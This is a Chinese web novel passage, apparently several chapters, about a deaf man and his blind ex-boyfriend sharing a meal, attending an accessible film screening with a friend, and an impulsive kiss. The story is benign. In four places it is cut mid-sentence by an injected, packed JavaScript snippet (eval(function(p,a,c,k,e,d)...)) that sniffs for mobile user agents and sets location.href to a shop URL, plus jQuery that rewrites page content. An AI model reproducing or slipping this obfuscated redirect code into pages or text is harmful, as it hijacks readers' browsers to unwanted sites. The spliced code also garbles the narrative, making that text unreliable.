“不用了,”易秋光说,“我就在外面等着,躺久了身上不舒服。” “也行,”乔辽干脆带着他去了沙发上,“我很快的,一会儿就好。” 在看见易秋光坐好后,乔辽又去房间拿来一条薄毯,盖在易秋光腿上。 米饭已经煮好了,炒个番茄炒蛋也不需要多久,等他忙活完这些,又把餐桌收拾了一下,盛上饭,摆好餐具。 “三季老师,”乔辽朝易秋光边上走,“弄好了,来吃饭。” “闻到了,很香,”易秋光拿开腿上的毯子,放到一边,笑着说,“给我都闻饿了。” 乔辽带着他走到餐桌前坐下,接着就把筷子递到易秋光手上。 “吃吧。”乔辽握着易秋光的手,带着这只手靠近面前那只碗。 易秋光笑着先从碗里夹了点米饭喂进嘴里,乔辽又给他夹了不少菜。 两年前的易秋光也爱吃番茄炒蛋,这道菜,也是乔辽学会的第一道菜。 发现易秋光爱吃番茄炒蛋后,乔辽时不时就会把这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140568|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道菜做一次。 他总怕这人会吃腻,要不然……乔辽应该会每天都做这道菜。 “故听老师,”易秋光往嘴里喂了一筷子番茄炒蛋,嚼了嚼咽下,“你做的番茄炒蛋很好吃。” “谢谢,”乔辽说,“那你多吃点。” “已经吃很多了,你知道吗,故听老师,”易秋光微抬起头,看向乔辽,“加糖的番茄炒蛋挺少的。” 真的吗,真的假的。 他以前也是找同事问的,同事说要放糖,乔辽就以为全世界都放糖,点外卖的时候,他也没点过这道菜,出去吃饭也从不点这个……他是真不知道。 “是吗,”乔辽试探着问,“那我下次不放糖了?” “放吧,”易秋光笑着说,“我喜欢放糖的。” 这顿饭吃完,易秋光说什么都要帮忙收拾,乔辽只说了一句:“厨房有静电,水也有静电。” 易秋光老实了。 他坐在沙发上等着乔辽收拾完,外面本来还阴着的天,突然出了太阳。 阳光透过窗户落入阳台,又照在易秋光身上。 乔辽端着一杯水,站在餐桌边看着易秋光,只觉得现在的一切都太好了。 好到他都怀疑自己是在做梦。 “收拾完了?”易秋光偏头望过去,“我听见厨房的水声停了。” “嗯,收完了,”乔辽走到易秋光边上,把手里端着的水放到他手里,“喝点水。” 这杯水接得挺满的,易秋光喝了一口就不喝了,他说:“我们等会儿不是还要去看电影吗,你想让我一直往厕所跑?” “我怕你噎着……”乔辽说,“想上厕所也没事,我陪你去。” 易秋光伸出一根手指:“你这个逻辑有问题,第一,我吃完饭已经有一会儿了,你都收拾完了,我要噎死早就噎死了。” 确实……乔辽正准备开口说话,易秋光又开了口。 “第二,”这人现在的手势,就跟拍照时比出的剪刀手一样,“我喜欢男的,你陪着我去厕所,是不是不太好。” “……也不会吧,我们两个不都睡在一张床了,”乔辽瞥了他一眼,“我不跟着你进去,就站在门口等你。” “那如果我把你拉进去呢,”易秋光突然笑起来,“防人之心不可无啊,故听老师,你知道我会对你做什么吗?” 做了就做了,我们以前都这样那样又这样了,还差这点儿事? 乔辽没说话,易秋光呼出一口气,又说道:“故听老师,你觉得,我们熟悉吗?” “还好吧,”乔辽说,“怎么了?” 易秋光沉默两秒:“没怎么,我就是想告诉你,其实我,应该和你印象里挺不一样的。” “是吗……”乔辽确实也发现了这一点。 其实说白了,他们现在才算是真正地认识,乔辽一直都明白这个道理,但他又觉得,易秋光以前是真的爱过他的。 乔辽死死地抓着以前那些爱意,反复从那些回忆里得到安全感。 易秋光以前爱他。 那以后,他也有机会,再次得到易秋光的爱。 重新认识又怎么了,他愿意和易秋光认识千千万万次,但乔辽也希望,他能和易秋光相爱千千万万次。 “不说这些了,你就当我是随口一说,”易秋光说,“我的衣服干了吗?” “没干,”乔辽根本就不用去看,虽说那些衣服没滴水了,但只要用手一摸,还是能摸到一手的湿,“你穿我的,我的衣服也厚一点,今天虽然出了太阳,但温度还是挺低的。” 易秋光没有拒绝他,而是站起身:“走吧,回房间换衣服,你帮我换。” 帮忙换衣服啊,那不就是要脱光吗……乔辽越想越多,步子也越来越慢。 易秋光突然偏头问他:“你是不是害怕了?” “我怕什么?”乔辽问道。 “怕我刚才说的那些话,”易秋光笑着说,“你猜猜看,我会对你做什么。” 做什么,易秋光会对他做什么? 管他的。 不管现在易秋光想对他做什么,乔辽都会接受。 全部接受。 35. 感谢 房间里的空调还开着,一进门就是一股暖意扑到身上,易秋光坐在床边,脱下一件家居服。 “你要给我穿什么?”易秋光问乔辽。 “穿一件毛衣,再加一件薄绒外套,”乔辽说,“裤子也穿薄绒的。” “那很暖和了……”易秋光想了想,又说,“不会热吗?” “这都几月份了,你别感冒就行,”乔辽一边说,一边从衣柜里拿衣服,“先换上衣还是先换裤子?” “上衣。”易秋光伸出胳膊,意思是让乔辽帮忙脱一下。 乔辽站到他面前,低头看着易秋光,这个姿势,这种距离,他可以直接把易秋光按倒在床上。 但他没这么做,主要是怕挨打。 乔辽慢慢帮易秋光脱下衣服,接着套上毛衣,进行到这一步,易秋光应该把胳膊伸进毛衣袖子里,但这人没有。 “抬一下胳膊,把衣服穿好,”乔辽扯着毛衣袖子,又伸手轻点两下易秋光的胳膊,“快穿上,别弄感冒了。” 易秋光没搭理他,而是一抬手拽住毛衣袖子,力气用得还挺大,乔辽没反应过来,一下子被拽到床上,易秋光也跟着往后倒,躺了下去。 “故听老师,”易秋光放轻声音,“故听。” “嗯。”乔辽不敢动,他也不知道该说些什么。 现在的他们,额头相抵,距离近到乔辽可以看清易秋光的每根睫毛。 这人本来就没穿好衣服,毛衣刚套进去,就跟没穿衣服一样。 乔辽紧贴在易秋光身上,甚至都能感受到这人每一次的呼吸。 “你猜猜看,我现在想干什么。”易秋光的每一个字都带着温热的气息,说出的话似乎也带着温度。 乔辽瞬间变得紧张,他吞咽一口,就连呼吸都跟着变得滚烫:“不知道。” 易秋光抬手,轻轻在他脸上碰了碰,几秒后,这人突然笑起来:“逗你的,快帮我穿衣服,穿好就出门吧。” 脑子都快转不动了,乔辽说了声“好”,人却没动。 “不想起啊?”易秋光用双手捧着他的脸,轻轻动了动脑袋,和他蹭了两下额头,“真不起来?” 完蛋了。 再这样下去,肯定要出点什么事。 乔辽对自己的控制能力有把握,但在这种情况下,他也说不准。 “起了。”乔辽果断起身,什么话不说了。 他只想赶紧给易秋光穿好衣服,然后出去喝点水冷静一下。 但在给易秋光换裤子的时候,乔辽还是没控制住自己的视线。 他只瞥了一眼。 没看错的话……易秋光应该和他一样,需要冷静冷静。 换好衣服后,乔辽又给自己换了一套衣服。 他没在房间里多停留,果断选择去客厅,乔辽从冰箱里拿出一瓶水,一口气喝了大半瓶,现在这个天气,喝点冰水都能把脑子冻上,但这大半瓶喝下去,乔辽心底还是无法平静。 正准备再喝点的时候,易秋光走了出来。 他是真的怕了静电,就连墙都不敢碰,走过来的每一步都是慢慢的,眉头也皱着。 “故听老师。”易秋光现在不喊他“故听”了。 多了“老师”两个字,乔辽总觉得哪里怪怪的,就好像,他们的关系又往后退了一步。 易秋光那声“故听”,直接让乔辽的心都乱了,他“嗯”了声,又喝了一大口冰水:“我们现在就出门吗?” “对,”易秋光停了下来,他拽着袖口轻扯两下,“我的衣服没干,就先放在你家,你这套衣服我就先穿回去了,等以后有机会再还给你。” “你今晚不在这里住了?”乔辽心里也明白,这个问题的答案,其实根本不用问。 易秋光不可能一直在他家住着,就连有没有下一次,都是一件很难说的事。 “我今晚要回家,明天真的要去工作室了,”易秋光笑着说,“你舍不得我啊?” 乔辽说:“嗯。” 舍不得,非常。 “那怎么办,”易秋光叹出一口气,“那我辞职吧,不干了。” “啊?”乔辽听见这话立马懵了。 “啊什么啊,”易秋光说,“不就是工作么,我不干了,什么广播剧啊,不管了,我就在你这里,哪儿都不去了。” 乔辽的脑子转不动了,他张嘴又闭上,最后来了一句:“我们签了合同的,要是真不干了,你是不是要赔我钱啊。” 死嘴啊,叽里呱啦说的什么,这是人话吗,这是现在该说的话吗! 乔辽在心里骂了自己无数次。 他也是第一次发现,原来自己在极度紧张的时候,会开口说胡话。 但他打手语的时候就不会这样。 “不知道啊,我又没见过你的合同,”易秋光实在是憋不住了,笑得声音特别大,“哎不和你闹了,赶紧出门,等看完电影,我就回家了。” “好。”乔辽带着他走到门口,拿上盲杖。 他们一起出了门,进到电梯里。 也不知道下次再见是什么时候,更不知道易秋光还会不会再来他家里。 但易秋光身上还穿着他的衣服。 他家里阳台上还晾着易秋光的衣服。 想到这里,乔辽心里也跟着踏实了些。 衣服是要还的,他们也一定还会有下次见面。 电梯到达一楼,乔辽拿出手机叫了辆车。 接着给郭宝卓发了条消息:我和易秋光已经出门了,你今天别和我说话,一句话都别和我说。 在他们坐上车的时候,郭宝卓的回复发了过来:知道了大哥,我不开口,只打手语,行不行。 乔辽回复:行,还有件事,你那个朋友知不知道我的名字,你让他别叫我名字,叫我笔名。 郭宝卓回了个“OK”,后面还跟着一句:已经给他说了。我也给你说件事,他刚戴助听器没多久,手语也不太会,属于一个听不明白也比画不明白的情况,你多帮我看着他一点。 这种事不用郭宝卓说,乔辽都会帮忙看着点的。 他问郭宝卓:我怎么称呼他? 郭宝卓秒回:他叫徐颂良。 “我们还没到吗?”易秋光突然用胳膊肘拐了乔辽一下,“这么远啊。” 乔辽给郭宝卓回了个“知道了”,接着收起手机往车窗外看了眼,这附近挺陌生的,乔辽也没去过那家电影院。 “应该快到了吧,”乔辽问他,“是不是坐太久了腿疼?脚踝呢,疼不疼?” 乔辽一边问一边上手,他轻碰着易秋光的膝盖和脚踝,又问了一次:“疼吗?” “不疼,”易秋光笑着说,“我今天都能走路了,真没事,就是擦伤,你不是看见了吗。” 就和易秋光说的一样,伤势确实不严重,但怎么说也是摔了一跤,乔辽越想越觉得心里不对劲,他明明知道易秋光受了伤,到底是怎么想的,怎么就想着要带这人去看电影。 但现在都在半路上了。 “等会儿看电影的时候,你要是腿疼或是脚踝不舒服,就把腿搭到我腿上,”车速减慢,应该是快到目的地了,乔辽连忙又补上一句,“别硬撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不会的。”电影院在五楼,乔辽带着易秋光走到电梯前,按下向上的按钮。 一会儿后,电梯下到一楼,他们走了进去,电梯门关上。 “故听老师,”易秋光突然开了口,“你还记不记得,我之前给你说过的,那个前男友。” 乔辽说:“记得。” “他以前对我很好很好,天气冷起来后,静电就跟缠着我似的,哪里都是,每当那个时候,他就会成为我的手,彻底的手,”说到这里,易秋光望向乔辽的方向,“但那个时候,我们也不是一直都在一起,我要上班,他也是,我每天都盼着下班,盼着他来接我,只要他牵着我,静电就不会再出现了。” 电梯缓缓上行,乔辽的心跳也变得越来越快,到达五楼时,乔辽带着易秋光走出电梯。 “挺好的,”乔辽说,“那个时候,他肯定也盼着能早点见到你。” “我知道,”易秋光沉默一会儿,“但他不知道我的感受,我们也没好好聊过,如果有机会,我还是想让他知道,比起恨他,更多的……是感谢,我很谢谢他,那些年对我的照顾。” “他会知道的,”乔辽紧了紧握住易秋光手腕的手,“他应该……也会感谢你,谢谢你那些年对他的包容。” 不是“应该”,是一定。 乔辽很感谢易秋光对他的包容,比起包容,更多的,是爱。 乔辽很感谢易秋光爱他。 那种爱意,是能被感受到的。 乔辽感激着,也庆幸着,易秋光能够爱他。 就算这种爱,只存在于曾经。 36. 自卑 记忆或许会模糊,但爱意的重量,永远都不会变。 如果没有易秋光的那些爱,乔辽恐怕都不会有一个很好的明天。 这么说或许会有些夸张,但乔辽就是这样认为的。 其实,福利院的老师们都对他很好,郭宝卓也很好,可他总是会觉得,自己与这个世界格格不入。 “自卑”这两个字,一直都是长在他心底的。 视障可以触碰,可以沟通,在与人的相处里,他们缺少了画面,也多了许多不安全感。 听障也可以触碰,但他们无法沟通,并不是全世界的人都是听障,手语也不是人人都会的。 无法开口的命运,让乔辽恐惧着周围的一切,世界是什么,眼前人在说什么,进入眼里的所有事物都是静音的,包括他自己。 乔辽活在别人的表情里,他也只能通过别人的情绪去看这个世界。 耳聋让他与世界隔绝,他也把自己沉入了无法看见光的地底。 但易秋光带着他走了出来,见到了最好的世界。 一个有着易秋光的世界。 说句招笑的话,每当易秋光打他的时候,乔辽都会觉得这人真的是在试图理解他的内心。 虽然有时候……那种理解是有误差的,甚至可能是误会。 但易秋光会表达自己的内心,愿意把情绪展露出来,而不是和别人那样,用善意的笑容,一次又一次地把他隔开。 乔辽的这种想法被郭宝卓知道之后,这人对他比画着:你纯属想多了,易秋光就是脾气不好,他打你那几下就是在发泄情绪,你别把事情想得太复杂。 但乔辽却比画道:可他把我当人看了,一个健全的人。 郭宝卓表示不理解,乔辽也没必要让他理解,毕竟那种感受,也只有自己才能明白。 他和易秋光相处那么多年,乔辽能感觉到,易秋光对他的好,对他的包容,那种把他当健全人看待的态度……乔辽都能看见。 他一直都很感谢易秋光,但同时,他对易秋光也有愧疚。 在恋爱期间,他真的做了太多错事,一切都是因为耳聋而导致的错事。 郭宝卓也安慰过乔辽,这人比画着:听不见不是你的错,易秋光也知道你听不见,感情是双向的,他选择了你,他肯定也不会怪你。 乔辽当时没回应,郭宝卓又接着比画:你还是自卑,你干嘛总觉得自己不好? 这个问题挺有意思的。 其实乔辽从未觉得自己哪里好,他要是真的好,就不会拉着易秋光的手,让这人陪着自己走过这么多年。 无声的世界有多恐怖,乔辽是知道的。 他怎么会想着拉上易秋光,陪他一起过这种日子。 易秋光本来就看不见,他每天被乔辽牵着,回到那个出租屋的时候,会不会感到害怕? 屋内安静,身边人无声。 易秋光肯定会害怕。 肯定。 想到这里,乔辽手上的力度又大了不少,估计是握得太紧,让易秋光感觉到了疼痛,他微微晃了晃手,偏头问乔辽:“你怎么了?” “没事。”乔辽说。 “你——”易秋光的话都还没说完,不远处突然走过来一个人。 这个男人走到他们面前,笑着说道:“你们好,你们是来参加观影活动的吗?” “对。”乔辽点头。 “那先跟着我过来吧,”男人往前面指了指,“已经来了不少人了,大家都在那边,电影还得过一会儿才开场,你们先去那边坐着歇一会儿。” 易秋光“嗯”了声:“谢谢。” 男人在前面带路,乔辽带着易秋光跟在旁边,就和男人说得一样,今天过来参加活动的人很多,还是挺热闹的。 他们两个刚找到一个空位坐下,郭宝卓就从不远处走了过来,这人边上还跟着一个人,应该就是徐颂良了。 郭宝卓一下子就看见了乔辽,他抬手挥了挥,快步走过去,在近距离看见易秋光的那一刻,郭宝卓没忍住叹出一口气。 他比画着:易秋光变了。 乔辽看了眼正在扒拉手机的易秋光,接着挪开视线,对郭宝卓比画:哪里变了? 郭宝卓又看了易秋光一眼,比画道:看着比以前成熟了,好像吃了不少苦。 乔辽偏头看向易秋光,没明白郭宝卓这句话是什么意思。 他比画着问郭宝卓:你在说什么? 郭宝卓比画着:他以前每天都是乐呵呵的,跟在你边上就跟个挂件一样,你做什么他就做什么,现在不一样了,他好像长大了,有自己的事情要做,就好像孩子出门逛了一圈,再回到家的时候,突然就长大了,我反正觉得他吃了不少苦,你们分开那两年,他应该过得挺难的。 乔辽沉默着没回应,郭宝卓抬手在他眼前挥了挥。 接着比画道:我旁边这个人就是徐颂良,他等会儿也要看电影,我现在要去忙了,就先把他交给你和易秋光了。 乔辽点了点头,郭宝卓又对徐颂良比画道:那我就先去忙了,晚点再来找你。 徐颂良“嗯”了声,扭头看着郭宝卓走远,场面一下子就变得尴尬。 易秋光低头扒拉手机,乔辽沉默看着徐颂良,徐颂良站在他们面前,似乎也挺无奈的。 “三季老师,”乔辽抬手轻碰两下易秋光肩膀,“我朋友带来一个人,让我们帮忙照顾一下,他今天挺忙的,有工作要做,正好这个人也要看电影,就想着让我们帮帮忙。” “谁啊,已经来了吗?”易秋光终于不扒拉手机了,他往两边望了望,“怎么帮忙照顾,我不会看孩子啊。” “不是孩子……”乔辽说,“同龄人,已经在我们面前站着了。” 易秋光愣了两秒,脸上立马挂着笑,对着前面说了句:“你好啊。” “你好,”徐颂良应该是没反应过来,他说完这句,又看向乔辽,“故……故、故、故什么来着。” 易秋光憋不住开始笑,接着抬手拍了拍乔辽胳膊:“咕咕咕,他叫你呢,小公鸡。” “……你好,我叫故听,”乔辽指了指身边人,介绍道,“他叫三季,一二三的三,季节的季。” 徐颂良“嗯”了声,说道:“我叫徐颂良。” 又没人说话了。 好尴尬的场面。 碰到这种事,还是得靠易秋光,这人摸了摸自己身边的位置,确定这个位置还是空着的,紧接着,他指着空位对徐颂良的方向说道:“我旁边的位置是空的,你先坐在我旁边歇会儿吧。” 徐颂良又是一声“嗯”,他坐到易秋光边上,整个人看着还是有点紧张,乔辽往后仰了仰身子,抬手冲着他挥了挥,接着比画道:你还好吗? 就和郭宝卓说的一样,徐颂良对手语不太熟悉,他还琢磨了一会儿,才对乔辽比画道:人太多了,我有点害怕。 乔辽点点头,也不知道再说些什么。 他本来就不太会社交,在这方面没什么经验,但他也是答应了郭宝卓的,说会帮忙照顾一下,就是现在这种情况,乔辽完全不知道该怎么办。 “故听老师,”易秋光往他边上凑了凑,声音压得有些低,“这个什么徐颂良,好像没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140570|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里需要我们照顾的啊,他怎么了吗?” 乔辽也学着他的样子,压低声音说:“他最近遇到一些事情,心情不太好,我朋友担心他会胡思乱想。” “那你和他聊两句啊,”易秋光越凑越近,整个人都快贴进乔辽怀里,“把他一个人晾在那里干什么。” “知道了,”乔辽干脆搂住易秋光,轻拍两下哄了哄,“我们两个换个位置,我和他聊聊。” “好。”易秋光站起身,和乔辽换了个位置坐。 乔辽偏头看了徐颂良一眼,这人也扭头看着他。 “故听,”徐颂良先开了口,“我现在记住了,刚才不好意思。” “没事的,”乔辽抬手指了指耳朵,问他,“在这种环境下,你感觉怎么样?” 徐颂良反应有些慢,估计是听不太清,几秒后,这人拿出手机开始打字给乔辽看。 屏幕上显示着:感觉不太好,有时候听不清,有时候听不懂,有的人说话口型不明显,我猜也猜不准,想比画手语又想不起来。 乔辽干脆也拿出手机打字:郭宝卓应该教得不错啊,你是哪方面记不住? 徐颂良打字给乔辽看:脑子记不住,手语还分什么南北方,还分通用手语和自然手语,每个地方的又不一样,那我就更记不住了。 这也确实……乔辽点了点头,打字给他说:平时多练练,要是有什么不会的,可以随时和我联系,我们面对面练习也行。 徐颂良点了点头,低头打字:郭宝卓给我说过,他把你联系方式推给我了,我还没加,加了也不知道说什么,我怕给你添麻烦。 乔辽摆摆手,比画道:没关系,不会添麻烦的。 “故听老师,”易秋光又贴了过来,他小声问乔辽,“你怎么不说话了,别把他一个人晾在那里啊。” “我在和他说,”乔辽顿了顿,又说道,“用手机打字说的,没开口,放心吧,我没把他晾在一边。” 乔辽还担心易秋光会问他什么问题,比如为什么不开口,又或者是为什么要用手机聊天。 但这人一句都没问,只说了一句“那就好”,然后就坐在那里安安静静地,手机也不玩了,不知道在想些什么。 身旁坐着的徐颂良也不说话了,乔辽抿了抿唇,犹豫几秒后,伸出手握住了易秋光的手,他轻轻捏了捏这人的手,小声说:“是不是挺无聊的?” “还好,”也不知道易秋光是怎么想的,这人顺势靠到乔辽肩膀上,舒出一口气,“我没觉得无聊。” 乔辽“嗯”了声,又轻捏两下易秋光的手,身边的徐颂良还在沉默着,乔辽抬手在这人眼前挥了挥。 然后在手机上打字:你加我一下吧,没事的,你是郭宝卓的朋友,那就也是我的朋友,在生活上,你要是有什么不方便的,可以给我发消息,郭宝卓最近确实太忙了,但他挺担心你的。 看完这些话,徐颂良点了点头,没再说什么。 乔辽在心底叹了口气,给郭宝卓发了条消息:这里人太多了,你朋友看着挺害怕的,我和他也没什么话说,但我让他加我好友了,有空可以找我练习手语,要是碰上你忙的时候,遇到什么事也可以找我。 郭宝卓这次回消息挺慢的,应该是正在忙着,也不知道过了多久,这人终于回了一句:谢谢。 紧接着,手机振动一下,郭宝卓又发来一句:我知道他害怕,但我更不放心他一个人待着,前段时间……他情绪不太好,人差点就没了,就这种情况,我怎么可能把他一个人放在家里。没办法,我只能麻烦你和易秋光了,等会儿活动结束,我请你们吃饭。 37. 想亲 吃饭倒是没必要了,帮忙照顾徐颂良这件事,乔辽其实也没做好,他只是和徐颂良聊了两句,帮忙看着点,确定这人是在好好地坐着,没有任何危险。 更何况,郭宝卓这人的嘴停不下来。 要是在工作中,他可以做到不开口乱说,只干好眼前的活儿,但要是在生活里,这人的嘴就跟鞭炮一样。 一个响了又接着一个,一挂鞭炸完还有一挂。 所以这饭,还是算了吧。 乔辽回复道:不吃了,你先忙你的,徐颂良在这儿待着挺好的,你放心。 郭宝卓也没再劝。 只回复道:麻烦你们了,那就改天再请你们吃,我先去忙了。 乔辽又看了一眼徐颂良,这人也不玩手机,就坐在那里低着头,两只手握在一起,时不时还会用大拇指用力地在手背上掐一下。 突聋这件事,对一个人的打击肯定很大,这件事不是嘴上说说就能过得去的,也不是有了陪伴就能过得去的。 想要迈过这道坎,需要很多时间,也有可能,这个时间是看不到尽头的。 乔辽没忍住叹出一口气,易秋光动了动脑袋,头发也在乔辽脸上蹭了蹭。 “怎么叹气了,”易秋光问他,“遇到什么烦心事了吗?” “没什么,”这毕竟是徐颂良的事,乔辽也不好直接给易秋光说,“就是挺纳闷的,感觉这个世界有点不公平。” “这个问题还挺复杂的,”易秋光学着乔辽刚才的样子,也叹出一口气,“真是没想到,你小小的脑子里,还能想出这种问题。” 易秋光这个语气,听着还挺无奈的,好像还有点骂人的意思。 “你是不是骂我呢,”乔辽问他,“你说我不聪明?” “我可没说,”易秋光笑了起来,“但我觉得你反应挺迟钝的。” 乔辽正准备问为什么,下一秒就看见郭宝卓走了过来,这人抬手冲乔辽比画:可以进场了。 这句话比画完,郭宝卓就转身去忙别的事了,乔辽微低着头,对易秋光说:“走吧,要进场了。” 易秋光说了声“好”,乔辽牵着他站起身,又对边上的徐颂良说:“要进场了,我们走吧。” 徐颂良终于抬起头,他冲着乔辽点点头,什么都没说。 他们三个一起排队进场,刚一进去就看见郭宝卓在里面忙前忙后,徐颂良应该也是看见了,他的视线在郭宝卓身上停留一会儿,最后和郭宝卓对视。 郭宝卓脸上一下子就露出笑容,他抬手对着徐颂良挥了挥,接着就往旁边指了一下,对徐颂良比画道:你们到这里来坐。 “他在说什么?”徐颂良明显没看明白,干脆扭头问乔辽。 “他让我们去那边坐,”乔辽说,“你走在前面,我带着三季跟在你后面。” 徐颂良说了声“好”,往座位那边慢慢走,等他们坐下后,过来几个工作人员开始发耳机。 耳机发到易秋光手里的时候,那张本来还没什么表情的脸,瞬间变得无比期待,他用胳膊肘碰了碰乔辽,问道:“你有耳机吗?” “没有,”乔辽笑着说,“你这次能好好看场电影了。” “好期待,”易秋光戴上耳机,语气里都带着高兴,“超级期待。” 看见这样的易秋光,乔辽的心情也会跟着一起变好,他看着易秋光期待的模样,和这人一起等待电影开场。 边上的徐颂良还是挺沉默的,他拿着手机不停扒拉着,乔辽瞥了一眼,徐颂良是在给郭宝卓发消息,发出去的消息还不止一条。 但对面人没有回应,因为郭宝卓就在不远处忙着。 几分钟后,影厅里暗了下来,徐颂良也收起了手机,银幕亮起,电影开始播放。 这部电影很不错,不仅有字幕,就连环境音也有补充描述,这种方式挺好的,乔辽也是第一次这么沉浸式看电影。 易秋光应该也看得挺开心的,这人一直在笑着,有时候还会歪着头思考。 真可爱啊,乔辽觉得,易秋光真是这个世界上最好的人了。 好可爱啊,易秋光这样的人,怎么就正好被他碰上了呢。 太可爱了。 想亲。 这个念头刚冒出来的下一秒,易秋光突然偏头往乔辽那边凑,大概是想说什么,但乔辽的脑子已经快要转不动了。 满脑子就一个念头。 亲上去。 于是,这人也凑了上去,一个吻正好落在易秋光唇上。 也不知道电影放到哪儿了,影厅里一瞬间安静得不行,乔辽也愣在那里,完全不知道接下来该怎么办。 易秋光反应比较快,他抬手掐了一下乔辽的脸,迅速离开这个吻。 “你干什么?”易秋光小声问他。 “没干什么。”乔辽心虚地说。 “他亲你了。”徐颂良在一边小声地说。 乔辽扭头看了徐颂良一眼,他突然觉得,这人还是沉默的时候比较好。 看着挺不爱说话的一个人,怎么一开口就这么惊人。 后面的电影讲的什么呢,乔辽一个字都没听进去,他心底挺紧张的,这种感觉一直持续到电影结束。 影厅里再次亮起灯光,易秋光脸上看不出什么不对劲,但乔辽心里还是直犯嘀咕。 他们都还没来得及起身,工作人员就已经站到了银幕前,让他们一起去前面拍一张大合照,乔辽又开始后悔了,早知道就和易秋光穿一件颜色差不多的衣服了,那他还可以骗骗自己,这是情侣款。 乔辽和易秋光个子高,站在最后一排,徐颂良没来拍照,他说人太多,凑在一起站着,心里挺紧张的。 拍完这张照片,乔辽牵着易秋光走出影厅。 徐颂良在边上继续沉默,易秋光倒是挺兴奋的,这人一直在说这部电影很好看,这次活动很好之类的话。 偏偏对刚才那个吻,只字不提。 徐颂良提了,但这人是在郭宝卓面前提的。 这人一看见郭宝卓就开始比画,这手语可以说是乱七八糟了,但好在比画得十分生动。 徐颂良先是指了一下乔辽,接着就指向易秋光。 乔辽看见徐颂良撅了噘嘴,两手抬起,伸出两根食指一碰。 哦不对,是一碰一碰又一碰。 干什么啊!我明明就亲了一下!你这是什么比喻手法!太夸张了吧! 郭宝卓都震惊了,他比出大拇指冲着乔辽点了又点,比画道:兄弟啊,真是猛虎下山,亲一次还不够啊,你这是嘴上糊了胶水,分不开是不是。 乔辽正牵着易秋光,不好抬手比画,他用眼神示意这人就此打住,接着开口对徐颂良和郭宝卓说:“那你们先忙,我和三季就先走了。” “好。”徐颂良点了点头。 郭宝卓抬手摆了摆,那一脸的嫌弃,都快溢出去了。 看电影的人太多,乔辽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140571|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不想带着易秋光挤电梯,愣是在电梯口等了一趟又一趟,等到人都走得差不多,下去一楼的电梯里,也只有他们两个人了。 “你等会儿要去干什么?”易秋光偏头问乔辽。 “不知道,”乔辽说,“你想去干什么?” “我啊,”易秋光顿了顿,说道,“我准备回家。” 电梯到达一楼,乔辽牵着易秋光走了出去。 易秋光拿出手机就要叫车,乔辽连忙说了句:“这附近挺热闹的,我带着你逛逛,等会儿吃了晚饭再回去吧,我送你回去。” “不用了,我回家也不是去休息的,”易秋光叹出一口气,“人在家中坐,工作天上来啊,我赶着回去忙工作呢。” 这句话说出来,乔辽也不能再拦着他回去。 “那我送你回去,”乔辽说,“我叫车就行。” “真不用了,”易秋光还是拒绝了他,“没必要折腾来折腾去的,我是真的着急回去,就不麻烦你了。” 乔辽还准备再说两句,但易秋光已经叫了车,很快就有司机接单。 这个司机离这里还近,一个拐弯就到了。 乔辽看着易秋光上了车,这人放下车窗对他挥挥手:“那我就先走了。” 这次就连“下次再见”都没有,乔辽张了张嘴,开口的速度还是没有车的速度快。 他站在原地,看着那辆车越驶越远,当那辆车从视线里消失,乔辽拿出手机,给易秋光发了条消息:下次见。 几秒后,易秋光回复:嗯。 就这一个字,易秋光竟然只回了这一个字。 乔辽拿着手机,愣在原地。 他不知道还能说些什么,就连刚才那个吻,都像极了一场梦。 也不知道时间过了多久,乔辽听见有人喊了他一声,回过头后,看见的就是郭宝卓和徐颂良。 郭宝卓冲乔辽比画:你一个人? “易秋光走了。”乔辽开口说道。 “那你跟着我们一起去吃饭,”郭宝卓往前指了指,“就在前面,随便吃一口,省得你回去点外卖了。” 乔辽看了一眼徐颂良,这人也开口说道:“一起吧。” “好。”乔辽说。 他跟在郭宝卓和徐颂良后面,这俩人在他前面也是慢慢走。 郭宝卓应该是在教徐颂良手语,一边说一边慢慢比画地教着,徐颂良学得慢,有时候一句话要重复好几次,但在徐颂良学会的时候,郭宝卓就会抬头揉揉他的头发。 然后用手语比画着:好棒。 最后再对着徐颂良笑着说一句:“你学会了,真的好棒。” 真是稀奇,这玩意儿竟然还有这种温暖人心的一面。 倒也不是乔辽对郭宝卓有刻板印象,主要是他们认识这么久,乔辽也是第一次见到这样的郭宝卓。 